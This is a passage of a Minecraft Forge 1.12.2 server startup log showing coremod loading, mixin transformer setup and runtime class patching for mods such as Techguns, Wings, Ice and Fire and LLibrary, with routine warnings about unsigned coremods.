[FML]: Instantiating coremod class TechgunsFMLPlugin [14:27:46] [main/TRACE] [FML]: coremod named Techguns Core is loading [14:27:46] [main/DEBUG] [FML]: The coremod techguns.core.TechgunsFMLPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod Techguns Core (techguns.core.TechgunsFMLPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod Techguns Core [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy wings-1.1.6-1.12.2.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in wings-1.1.6-1.12.2.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class WingsLoadingPlugin [14:27:46] [main/TRACE] [FML]: coremod named wings is loading [14:27:46] [main/DEBUG] [FML]: The coremod me.paulf.wings.server.asm.plugin.WingsLoadingPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod wings (me.paulf.wings.server.asm.plugin.WingsLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod wings [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/TRACE] [FML]: Adding llibrary-core-1.0.11-1.12.2.jar to the list of known coremods, it will not be examined again [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class LLibraryPlugin [14:27:46] [main/TRACE] [FML]: coremod named llibrary is loading [14:27:46] [main/DEBUG] [FML]: The coremod net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/DEBUG] [FML]: Found signing certificates for coremod llibrary (net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin) [14:27:46] [main/DEBUG] [FML]: Found certificate b9f30a813bee3b9dd5652c460310cfcd54f6b7ec [14:27:46] [main/DEBUG] [FML]: Enqueued coremod llibrary [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in llibrary-1.7.19-1.12.2.jar [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.launch.MixinTweaker [14:27:46] [main/DEBUG] [mixin]: MixinService [LaunchWrapper] was successfully booted in sun.misc.Launcher$AppClassLoader@33909752 [14:27:46] [main/INFO] [mixin]: SpongePowered MIXIN Subsystem Version=0.7.11 Source=file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar Service=LaunchWrapper Env=SERVER [14:27:46] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #1 [14:27:46] [main/DEBUG] [mixin]: Initialising Mixin Platform Manager [14:27:46] [main/DEBUG] [mixin]: Mixin platform: primary container is file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Adding mixin platform agents for container file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentFML for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: ForceLoadAsMod was specified for malisiscore-1.12.2-6.5.1.jar, attempting force-load [14:27:46] [main/DEBUG] [mixin]: Adding malisiscore-1.12.2-6.5.1.jar to reparseable coremod collection [14:27:46] [main/DEBUG] [mixin]: malisiscore-1.12.2-6.5.1.jar has core plugin net.malisis.core.asm.MalisisCorePlugin. Injecting it into FML for co-initialisation: [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class MalisisCorePlugin [14:27:46] [main/WARN] [FML]: The coremod net.malisis.core.asm.MalisisCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod MalisisCorePlugin (net.malisis.core.asm.MalisisCorePlugin) is not signed! [14:27:46] [main/INFO] [mixin]: Compatibility level set to JAVA_8 [14:27:46] [main/DEBUG] [FML]: Enqueued coremod MalisisCorePlugin [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentDefault for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:46] [main/DEBUG] [FML]: Injecting coremod FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} class transformers [14:27:46] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:47] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[PREINIT] [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:47] [main/DEBUG] [FML]: Injection complete [14:27:47] [main/DEBUG] [FML]: Running coremod plugin for FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} [14:27:47] [main/DEBUG] [FML]: Running coremod plugin FMLCorePlugin [14:27:48] [main/DEBUG] [FML]: Read 1145 binary patches [14:27:48] [main/DEBUG] [FML]: Loading deobfuscation resource /deobfuscation_data-1.12.2.lzma with 36083 records [14:27:49] [main/ERROR] [FML]: FML appears to be missing any signature data. This is not a good thing [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLCorePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin FMLForgePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLForgePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.EntityRendererTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.WorldTransformer [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin SSLoadingPlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class SSLoadingPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.launch.MixinTweaker [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Registering mixin config: mixins.malisiscore.core.json [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Creating FML remapper adapter: org.spongepowered.asm.bridge.RemapperAdapterFML [14:27:49] [main/INFO] [mixin]: Initialised Mixin FML Remapper Adapter with net.minecraftforge.fml.common.asm.transformers.deobf.FMLDeobfuscatingRemapper@6df7988f [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning asmgen:/ for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: inject() running with 1 agents [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: FML agent is co-initiralising coremod instance MalisisCorePlugin {[]} for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:49] [main/DEBUG] [FML]: Injecting coremod MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin MalisisCorePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class MalisisCorePlugin run successfully [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:49] [main/DEBUG] [FML]: Loaded 215 rules from AccessTransformer config file forge_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 119 rules from AccessTransformer mod jar file ./mods/iChunUtil-1.12.2-7.2.2.jar!META-INF/iChunUtil_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 13 rules from AccessTransformer mod jar file ./mods/jei_1.12.2-4.15.0.292.jar!META-INF/jei_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 10 rules from AccessTransformer mod jar file ./mods/JustEnoughResources-1.12.2-0.9.2.60.jar!META-INF/jeresources_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 7 rules from AccessTransformer mod jar file ./mods/SereneSeasons-1.12.2-1.2.18-universal.jar!META-INF/sereneseasons_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 11 rules from AccessTransformer mod jar file ./mods/llibrary-1.7.19-1.12.2.jar!META-INF/llibrary_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 14 rules from AccessTransformer mod jar file ./mods/malisiscore-1.12.2-6.5.1.jar!META-INF/malisiscore_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 5 rules from AccessTransformer mod jar file ./mods/CTM-MC1.12.2-1.0.1.30.jar!META-INF/ctm_at.cfg [14:27:49] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #2 [14:27:49] [main/DEBUG] [FML]: Validating minecraft [14:27:49] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[INIT] [14:27:49] [main/DEBUG] [FML]: Minecraft validated, launching... [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin llibrary [14:27:49] [main/DEBUG] [FML]: Coremod plugin class LLibraryPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} class transformers [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for java/lang/String/format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/model/ModelBiped/<init>(FZ)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/renderer/entity/RenderPlayer/<init>(Lnet/minecraft/client/renderer/entity/RenderManager;Z)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/handleCameraTransforms(Lnet/minecraft/client/renderer/block/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;Z)Lnet/minecraft/client/renderer/block/model/IBakedModel; [14:27:50] [main/TRACE] [FML]: Registering transformer com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin iceandfire [14:27:50] [main/DEBUG] [FML]: Coremod plugin class IceAndFirePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/shouldCauseReequipAnimation(Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Z [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin wings [14:27:50] [main/DEBUG] [FML]: Coremod plugin class WingsLoadingPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin CTMCorePlugin [14:27:50] [main/DEBUG] [FML]: Coremod plugin class CTMCorePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod Techguns Core \{techguns.core.TechgunsFMLPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for Techguns Core \{techguns.core.TechgunsFMLPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin Techguns Core [14:27:50] [main/DEBUG] [FML]: Coremod plugin class TechgunsFMLPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #3 [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/server/MinecraftServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method run()V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[DEFAULT] [14:27:50] [main/DEBUG] [mixin]: Selecting config mixins.malisiscore.core.json [14:27:50] [main/DEBUG] [mixin]: Preparing mixins.malisiscore.core.json (10) [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 20 entries [14:27:50] [main/INFO] [mixin]: A re-entrant transformer '$wrapper.sereneseasons.asm.transformer.WorldTransformer' was detected and will no longer process meta class data [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/World to metadata cache [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 19 entries [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/WorldServer to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/chunk/Chunk to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemBlock to metadata cache [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method func_184338_a(Lnet/minecraft/network/play/client/CPacketVehicleMove;)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getFastestEntityMotionSpeed(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D 